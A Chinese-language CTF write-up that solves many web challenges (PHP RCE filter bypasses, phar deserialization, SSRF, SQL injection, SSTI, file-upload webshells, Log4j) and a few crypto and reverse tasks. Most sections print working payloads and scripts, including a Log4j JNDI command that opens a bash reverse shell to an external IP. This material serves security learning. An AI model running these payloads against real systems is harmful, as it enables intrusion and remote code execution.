[HNCTF]Web详解

WEB

Challenge__rce

根据给出的源代码来看典型的命令执行但是正则匹配掉说有的字母只留下数字和少量字符串。

根据大佬给出的思路使用自增绕过

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}
<?php
$__ = ([].β);
$_=$__[3];
$_++;
$_1=++$_;
$_++;$_++;$_++;$_++;//h
$_=$_1.++$_.$__[2];//chr
$_=_.$_(71).$_(69).$_(84);
$$_[1]($$_[2]);
//payload =$__ = ([].β);$_=$__[3];$_++;$_1=++$_;$_++;$_++;$_++;$_++;$_=$_1.++$_.$__[2];$_=_.$_(71).$_(69).$_(84);$$_[1]($$_[2]);
?>

payload 使用自增运出php函数chr使用数字在构造get

ez_SSTI

给出的poc即可

详细解释链接

1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

Jinja2 SSTI - HackTricks

Canyource

源码

无参数注入

<?php
highlight_file(__FILE__);
if(isset($_GET['code'])&&!preg_match('/url|show|high|na|info|dec|oct|pi|log|data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);}
else
    die('nonono');}
else
    echo('please input code');
?>

payload

eval(end(current(get_defined_vars())));&b=phpinfo();

ez_phar

phar简介

我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。

PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行

题目有两个页面,一个主要进行命令执行,另一个上传phar文件

<?php
show_source(__FILE__);
class Flag{
    public $code;
    public function __destruct(){
    // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$filename = $_GET['filename'];
file_exists($filename);
?>

payload

<?php
class Flag{
    public $code;
    public function __destruct(){
        // TODO: Implement __destruct() method.
        eval($this->code);
    }
}
$phar = new Phar('3.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//绕过过滤,不过本题没有过滤
$phar -> addFromString('text.txt','text');
$object = new Flag();
$object -> code= 'system("cat /ffflllaaaggg");';//与题目中code命令对应,从而执行命令注入
$phar -> setMetadata($object);
$phar -> stopBuffering();

ohmywordpress

wpscan 扫描该插件版本搜索发现存在基于时间盲注漏洞

详细链接:NSFOCUS绿盟科技

Simple Link Directory < 7.7.2 - Unauthenticated SQL injection WordPress Security Vulnerability (wpscan.com)

WordPress Simple Link Directory Plugin SQL注入漏洞(CVE-2022-0760)

payload

--data 'action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(5))enz)' 

ez_ssrf

介绍链接

渗透小白看了也能明白的SSRF - FreeBuf网络安全行业门户

<?php

highlight_file(__FILE__);
error_reporting(0);

$data=base64_decode($_GET['data']);
$host=$_GET['host'];
$port=$_GET['port'];

$fp=fsockopen($host,intval($port),$error,$errstr,30);
if(!$fp) {
    die();
}
else {
    fwrite($fp,$data);
    while(!feof($data))
    {
        echo fgets($fp,128);
    }
    fclose($fp);
}

payload

$out = "GET /flag.php HTTP/1.1\r\n";
$out .= "Host: 127.0.0.1\r\n"; 
$out .= "Connection: Close\r\n\r\n";
echo base64_encode($out);

payload:
?data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=&host=127.0.0.1&port=80

easy_unser

题目代码

题目要求绕过_wakeup 和is_file 函数

<?php
include 'f14g.php';
error_reporting(0);

highlight_file(__FILE__);

class body{

    private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";

    public function  __construct($want){
        $About_me = "When the object is created,I will be called";
        if($want !== " ") $this->want = $want;
        else $this->want = $this->todonothing;
    }
    function __wakeup(){
        $About_me = "When the object is unserialized,I will be called";
        $but = "I can CHANGE you";
        $this-> want = $but;
        echo "C1ybaby!";

    }
    function __destruct(){
        $About_me = "I'm the final function,when the object is destroyed,I will be called";
        echo "So,let me see if you can get what you want\n";
        if($this->todonothing === $this->want)
            die("鲍勃,别傻愣着!\n");
        if($this->want == "I can CHANGE you")
            die("You are not you....");
        if($this->want == "f14g.php" OR is_file($this->want)){
            die("You want my heart?No way!\n");
        }else{
            echo "You got it!";
            highlight_file($this->want);
        }
    }
}

class unserializeorder{
    public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
    function __sleep(){
        $About_me = "When the object is serialized,I will be called";
        echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
    }
    function __toString(){
        $About_me = "When the object is used as a string,I will be called";
        return $this->CORE;
    }
}

$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
echo  $obj;


if (isset($_GET['ywant']))
{
    $ywant = @unserialize(@$_GET['ywant']);
    echo $ywant;
}
?>

poc

<?php
class body{
    private $todonothing = "test";
    private $want='./b/../f14g.php';//绕过is_file 会检查文件合规性 只需要构造不正确路径即可
}
$obj = new  body();
echo (urlencode(serialize($obj)));

logjjjjlogjjjj

史诗级漏洞 尝试外带并没有成功只好使用vps进行尝试

下载链接 https://github.com/bkfish/Apache-Log4j-Learning/tree/main

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTQuMTA1LjI1Lzc3NzcgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 106.14.105.25

直接打payload即可

image-20221102085007255

%24%7Bjndi%3Armi%3A%2F%2F106.14.105.25%3A1099%2Fbtdoqa%7D

编码打payload直接获得反弹shell

image-20221102085303368

Fun_php

<?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user'];
$getpass = (int)@$_GET['pass'];
$getmySaid = @$_GET['mySaid'];
$getmyHeart = @$_GET['myHeart'];

$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
    echo "Welcom T0 1he HNCTF2022<BR>";

if("state_HNCTF2022" == 1) echo $hint;
else echo "HINT? NoWay~!<BR>";


if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid))
        die();
    if (!is_numeric($getmyHeart))
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
}

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");
}
if($week_1 && $week_2){
    if(md5($data)===md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F

            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");

            else{
                echo "Fine!you win";
                system("cat ./$want");
            }
        }
        else
            die("HACK!");
}

?>

其实挺简单的,不过没仔细分析

payload

@Get
?user=114514a&pass=0&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6%20Flag!%E2%81%A9%E2%81%A6ctf

@POST
data[]=0&verify[]=1&want=f*%26%26tac+f*>a or *

[WEEK3]QAQ_1inclu4e

这个题目有点复杂主要考察文件包含,以及条件竞争

主要是利用session.upload_progress进行文件包含和反序列化渗透

enabled=on表示upload_progress功能开始,也意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;

cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容,这个选项非常重要;

name当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控;

prefix+name将表示为session中的键名

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

网络中具体解释如何创建session

其实,如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。

但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

值得注意的是可以在session文件没有被清空之前进行利用这就需要用到条件竞争了

有了思路和利用方法就可以进行编写代码

import requests
import threading
import io

sess_id = "abc"  # sess拼接的文件名
url = "http://43.143.7.97:28098/"  # 修改url地址
data = {"aaa": "system('cat /var/ffflllaaagggflag');"}  # 执行的命令
filename = "test.txt"  # 上传的文件名  要上传文件 它会携带者PHP_SESSION_UPLOAD_PROGRESS发送   而且会存储到sess_id文件里面
parameter = "QAQ"  # 参数名称
catalogue = "/tmp"  # 存放session文件的目录

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        data = {"PHP_SESSION_UPLOAD_PROGRESS": f"{sess_id}<?php eval($_POST[aaa]);?>{sess_id}"}
        cookies = {"PHPSESSID": sess_id}
        files = {"file": (filename, f)}
        session.post(url=url, data=data, cookies=cookies, files=files)


def read(session):
    while True:
        resp = session.post(url=f"{url}?{parameter}={catalogue}/sess_{sess_id}", data=data)
        if filename in resp.text:
            print(resp.text)
            event.clear()


if __name__ == '__main__':
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()

[WEEK3]ssssti

blacklist = ['\'', '"', 'args', 'os', '_']

这过滤就让人难搞了,魔法方法下划线没了

绕过方式有这几种

request.args.name
request.cookies.name
request.headers.name
request.values.name
request.form.name

[BJDCTF2020]Easy MD5

查看网络请求包发现提示

image-20221104171725955

select * from 'admin' where password=md5($pass,true)

突破点在md5($pass,true)这里,先来看看md5函数的用法:

image-20221104171818261

可以看到这里的raw参数是True,意为返回原始16字符二进制格式。

也就是说如果md5值经过hex转成字符串后为 'or'+balabala这样的字符串,则拼接后构成的SQL语句为:

select * from `admin` where password=''or'balabala'

当'or'后面的值为True时,即可构成万能密码实现SQL注入,这里我们需要知道的是MySQL的一个特性:

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。
要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。
当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)
 
select * from `admin` where password=''or'1abcdefg'    --->  True
select * from `admin` where password=''or'0abcdefg'    --->  False
select * from `admin` where password=''or'1'           --->  True
select * from `admin` where password=''or'2'           --->  True
select * from `admin` where password=''or'0'           --->  False

******只要'or'后面的字符串为一个非零的数字开头都会返回True,这就是我们的突破点****。

我们可以通过这个脚本来获得满足我们要求的明文

<?php 
for ($i = 0;;) { 
 for ($c = 0; $c < 1000000; $c++, $i++)
  if (stripos(md5($i, true), '\'or\'') !== false)
   echo "\nmd5($i) = " . md5($i, true) . "\n";
 echo ".";
}
?>

//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

这里提供一个最常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 'or'6 (其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的会在MySQL将其转换成整型比较时丢掉)

所以如果这里我们输入ffifdyop,后端的SQL语句会变成

select * from `admin` where password=''or'6<trash>'           --->  True

输入可进入下一个页面

根据提示这属于php类型狠活,数组即可绕过

<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->

绕过后来到下一关第一个判断也是弱比较,后面三个等于变成的强比较使用md50e绕过即可

出的不严谨数组还是可以绕过

payload =param1[]=QNKCDZO&param2[]=

<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //这个最开始并不知道什么意思看了一下笔记使用伪协议达到目的,具体了解函数用法
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

根据提示读取php文件如果直接包含肯定不行,使用伪协议读取

php://filter/read=convert.base64-encode/resource=useless.php

//
//class Flag{  //flag.php
//    public $file;
//    public function __tostring(){
//        if(isset($this->file)){
//            echo file_get_contents($this->file);
//            echo "<br>";
//            return ("U R SO CLOSE !///COME ON PLZ");
//        }
//    }
//}

<?php
class  Flag{

    public  $file='flag.php';

}

$obj = new Flag();
echo  serialize($obj);


?>

简单反序列化构造序列化即可

发送可得到flag

[GXYCTF2019]BabyUpload

简单文件上传

fazz测试过后php后缀以及含有php内容都被办掉,图片文件只剩下jpg可以利用

不过测试过后发现 .htaccess 可以上传

.htaccess是一个纯文本文件,它里面存放着Apache服务器配置相关的指令。

<FilesMatch "cxk">

SetHandler  application/x-httpd-php

</FilesMatch>

image-20221105222013783

成功构造只需要上传规定的后缀名字木马即可getshell

不过有一点奇怪直接上传php会被检测,把木马写入前端即可。

<script language="php">eval($_POST['a']);</script>

image-20221105222947599

访问使用蚁剑即可得到flag

[RoarCTF 2019]Easy Java

image-20221106104104865

一个登陆解密经过暴力破解可登陆系统

密码为admin888

登陆后提示并不是这个地方 查询文章后得知首先得了解javaweb

大致如下格式

src/main/java: 这个目录一般是存放web项目的Java源文件的
src/main/resource: 这个目录一般是存放相关的配置文件
src/main/webapp: 这个目录一般是和web应用相关的
webapp下的文件目录是容易出现安全问题的
/WEB-INF/web.xml: Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则 
/WEB-INF/classes/:含了站点所有用的 class 文件(即编译后的Java文件),包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

访问发现居然还存在下载页面也就是说可以下载配置文件也有可能下载系统文件,不过后面尝试并没有成功不知道为何。

这就好办了下载 /WEB-INF/web-xml

  <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

</web-app>

get=Download

post=filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

下载即可得到flag

[CISCN2019 华北赛区 Day2 Web1]Hack World

sql盲注

几种payload

if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)
(select(ascii(mid(flag,1,1))=1)from(flag))
import requests
import string

def blind_injection(url):
	flag = ''
	strings = string.printable
	for num in range(1,60):
		for i in strings:
			payload = ' if(ascii(substr((select flag from flag),{},1))={},1,2)'.format(num,ord(i))
			post_data = {"id":payload}
			res = requests.post(url=url,data=post_data)
			import time
			time.sleep(0.5)
			if 'Hello' in res.text:
				flag += i
				print(flag)
			else:
				continue
	print(flag)



url = 'http://aadc335b-4e7f-4074-a3d8-ac6897aac0dd.node4.buuoj.cn:81/'
blind_injection(url)

[BUUCTF 2018]Online Tool

考察nmap具体用法

nmap有一个参数-oG可以实现将命令和结果写到文件所以我们可以控制自己的输入写入文件

题目代码

<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
    highlight_file(__FILE__);
} else {
    $host = $_GET['host'];
    $host = escapeshellarg($host);
    //escapeshellarg
    //1,确保用户值传递一个参数给命令
    //2,用户不能指定更多的参数
    //3,用户不能执行不同的命令
    $host = escapeshellcmd($host);
    //escapeshellarg
    //1,确保用户值传递一个参数给命令
    //2,用户不能指定更多的参数
    //3,用户不能执行不同的命令    
    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
    echo 'you are in sandbox '.$sandbox;
    @mkdir($sandbox); //根据地址加上特定字符md5创建文件夹。
    chdir($sandbox);
    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

简单来说两个函数会对单引号进行转义

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

利用方法如下

由于单引号被过滤可以使用反引号进行命令执行

payload

' <?php echo `cat /flag`;?> -oG test.php '

[GWCTF 2019]我有一个数据库

经过文件目录扫描存在两个页面分别是phpmyadmin robots.txt

image-20221108160731709

扫描发现该版本存在任意文件读取漏洞

payload

index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

[GXYCTF2019]禁止套娃

考察的无参数命令执行以及任意文件读取

首先需要了解几个系统函数

scandir(current(localeconv()))是查看当前目录
加上array_reverse()是将数组反转,即Array([0]=>index.php[1]=>flag.php=>[2].git[3]=>..[4]=>.)
再加上next()表示内部指针指向数组的下一个元素,并输出,即指向flag.php
highlight_file()打印输出或者返回 filename 文件中语法高亮版本的代码

两种解题思路

直接调用系统函数读取

例如这样

//列出当前文件
var_dump(scandir(current(localeconv())));
读取文件
readfile(next(array_reverse(scandir(current(localeconv())))));

或者使用cookie进行读取

payload

GET:readfile(session_id(session_start()));
cookie:PHPSESSID=flag.php

[BJDCTF2020]ZJCTF,不过如此

题目代码

<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){//伪协议指定内容绕过第一层内容
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php 伪协议读取文件
    
}
else{
    highlight_file(__FILE__);
}
?>

payload

http://f6bdd871-bf24-425f-ac9c-dd42913f56c0.node4.buuoj.cn:81/?text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php

访问可得到下一个内容php内容

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei', //这样子正则匹配会造成漏洞
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

利用代码

?\S*=${phpinfo()}

[\s]---表示,只要出现空白就匹配;

[\S]---表示,非空白就匹配;

打入成功执行phpinfo

接下来就需要利用代码给出的function 进行命令执行

?\S*=${getFlag()}&cmd=system('id');

[BSidesCF 2020]Had a bad day

文件包含

只截取部分关键代码


             	<?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){//包含的文件中必须存在这三个关键字
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

payload

category=php://filter/read=convert.base64-encode/resource=index/../flag

[BJDCTF2020]The mystery of ip

image-20221111181357894

可以看出记录了Ip尝试进行修改

发现这个可以人为的控制

X-Forwarded-For:127.0.0.1

既然可以控制,应该可以命令注入,测试发现存在模板注入

image-20221111181714043

PHP的模板注入(Smarty模板)_WHOAMIAnony的博客-CSDN博客_php模板注入

X-Forwarded-For:{{system('id')}}

[BJDCTF2020]Cookie is so stable

一共框框可输入用户名抓包查看发现用户名包含到cookie里面

尝试使用模板注入可成功执行

{{7*7}}//twig模板
构造payload即可
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

[SWPU2019]Web1

注册用户登陆里面可以发送广告,存在XSS和SQL注入,不过屏蔽了关键的information_schema 可以使用无列名注入

空格也进行了过滤

1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

[WUSTCTF2020]颜值成绩查询

SQL盲注

写出脚本即可

1/**/and/**/(ascii(substr((select(database())),1,1))=99)
1/**/and/**/(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))={})
(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))>{})
1/**/and/**/(ascii(substr((select(group_concat(value))from(ctf.flag)),{},1))={})
1/**/and/**/(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),1,1))=102)
1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))={})^1

0/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/{}/**/for/**/1))={}#".format(i,ord(j))

[极客大挑战 2019]RCE ME

题目代码

<?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

正则过滤字母数字

把字符进行url编码 使用取反绕过

<?php
$a = 'assert';
echo urlencode(~$a);
echo "<br />";
$b ='(eval($_POST[cmd]))';
echo urlencode(~$b);
?>

 
get
code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);
post
cmd=phpinfo();

由于disable_functions 把许多系统函数给禁用了,所以只能连接木马

webshell工具连接并不能直接执行命令,flag是一个程序也无法进行下载。网络中搜索发现有脚本可绕过

蚁剑中也存在插件 安装比较麻烦建议线下安装上去

image-20221127185022424

image-20221127190451077

使用即可执行命令

image-20221127190636490

[NCTF2019]Fake XML cookbook

xml注入打payload即可

image-20221128224908567

[GXYCTF2019]BabySQli

image-20221129223204593

抓包查看发现存在注释base32解码,解码内容如下

select * from user where username = '$name'

fuzz测试一下过滤很多

这里引用出一个虚假库概念大概这样子

image-20221129223645754

使用union 可以插入一个虚假数据退出及消除使用这种方法可得到flag

image-20221129223829132

CRYPTO

XXXOOORRR

from flag import flag
from Crypto.Util.number import *
import os

randBytes = [bytes_to_long(os.urandom(64)) for _ in range(3)]
m = bytes_to_long(flag)

print(f'a = {randBytes[0]}')
print(f'b = {randBytes[0] ^ randBytes[1]}')
print(f'c = {randBytes[1] ^ randBytes[2]}')
print(f'd = {m ^ randBytes[0] ^ randBytes[1] ^ randBytes[2]}')

'''
a = 1215421974111272707828609697064234072332368362928440865251897449605952163161176359366553487776268706107760670434157083936287598207881176904763353849369234
b = 10533604054267448009117468094542127075826310122733511023911022436253583775790861879410728001403728088545946257902341417532648419689212361977221573357292618
c = 6401236597601556248960570084212025183497657335932789785351897915858852832577623776212842429736547820800219382515052263929074210010546149322465536545021479
d = 5711309307698496426409561761492698639489294806611133698231840146911562848869711567477706456972659368849642409039245400981517493100724067475248620536111560
'''

a = 1215421974111272707828609697064234072332368362928440865251897449605952163161176359366553487776268706107760670434157083936287598207881176904763353849369234
b = 10533604054267448009117468094542127075826310122733511023911022436253583775790861879410728001403728088545946257902341417532648419689212361977221573357292618
c = 6401236597601556248960570084212025183497657335932789785351897915858852832577623776212842429736547820800219382515052263929074210010546149322465536545021479
d = 5711309307698496426409561761492698639489294806611133698231840146911562848869711567477706456972659368849642409039245400981517493100724067475248620536111560

m = d^a^c
print(long_to_bytes(m))

异或回来即可

flag=NSSCTF{XOR_ha5_many_propertie5_and_thi5_i5_ju5t_one_of_them}

A dictator

提升roamon想到是凯撒加密在线网站解密即可

baby_rsa

题目

from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import *
from secret import flag
m = bytes_to_long(flag)
p = getPrime(128)
q = getPrime(128)
n = p * q
e = 65537
c = pow(m,e,n)
print(n,c)
# 62193160459999883112594854240161159254035770172137079047232757011759606702281
# 17331436837911040930486942133359735652484926528331507431552667656734821231501

首先需要对给定的数据进行处理操作 使用代码得出fn

factordb.com

import gmpy2
from  Crypto.Util.number import *
n= 62193160459999883112594854240161159254035770172137079047232757011759606702281
c = 17331436837911040930486942133359735652484926528331507431552667656734821231501
e = 65537
p =  234560843346150602519484260867514743467
q = 265147241000574873803071047177766359643
fn = (p-1)*(q-1)
d=gmpy2.invert(e,fn)
m = pow(c,d,n)
print(long_to_bytes(m))

flag=NSSCTF{Welc0m3_t0_7h3_RSA_w0r1d}

md5太残暴了

根据给定的提升只需要写出脚本进行md5运算等于给定的值即可


小明养成了定期修改密码的好习惯,同时,他还是一个CTF爱好者。有一天,他突发奇想,用flag格式来设置密码,为了防止忘记密码,他还把密码进行了md5加密。为了避免被其他人看到全部密码,他还特意修改了其中部分字符为#。你能猜出他的密码吗?
plaintext = flag{#00#_P4ssw0rd_N3v3r_F0rg3t_63####}
md5 = ac7f4d52c3924925aa9c8a7a1f522451
PS: 第一个#是大写字母,第二个#是小写字母,其他是数字。

payload

import hashlib
MAX_CHR = ['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
MIN_CHR = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
MAX_SUM = ['1','2','3','4','5','6','7','8','9','0']
# decode_text = "flag{#00#_P4ssw0rd_N3v3r_F0rg3t_63####}"
for i in MAX_CHR:
    for j in MIN_CHR:
        for k in MAX_SUM:
            for l in MAX_SUM:
                for m in MAX_SUM:
                    for n in MAX_SUM:
                        decode_text = "flag{"+i+"00"+j+"_P4ssw0rd_N3v3r_F0rg3t_63"+k+""+l+""+m+""+n+"}"
                        data = hashlib.md5()
                        data.update(str(decode_text).encode('utf-8'))
                        encode_data = data.hexdigest()
                        if encode_data=="ac7f4d52c3924925aa9c8a7a1f522451":
                            print(i,j,k,l,m,n)
                            break
                        

PWN

我不会了

REVERSE

x0r

一道简单的逆向分析

 _main();
  puts("please input your flag!");
  scanf("%s", Str);
  if ( strlen(Str) != 22 )
  {
    printf("strlen error!");
    exit(0);
  }
  for ( i = 0; i <= 21; ++i )
  {
    if ( arr[i] != (Str[i] ^ 0x34) + 900 )//输入值和数组arry里面的值进行和异或操作如果相等及通过
    {
      printf("flag error!");
      exit(0);
    }
  }
  printf("you are right!");
  return 0;

通过观察得出只需要对数组里面的值进行逆推操作得到正确的数据即可得到正确的答案

poc

key = [0x3FE,0x3EB,0x3EB,0x3E4,0x3F6,0x3D3,0x3D0,0x388,0x3CA,0x3EF,0x389,0x3CB,0x3EF,0x3CB,0x388,0x3EF,0x3D5,0x3D9,0x3CB,0x3D1,0x3CD]
for i in range(len(key)):
    data = key[i]-900^52
    print(chr(data),end='')

你知道什么是Py嘛?

输入字符第一位和第零位进行异或操作对array 每一位进行判断操作


s = str(input("please input your flag:"))
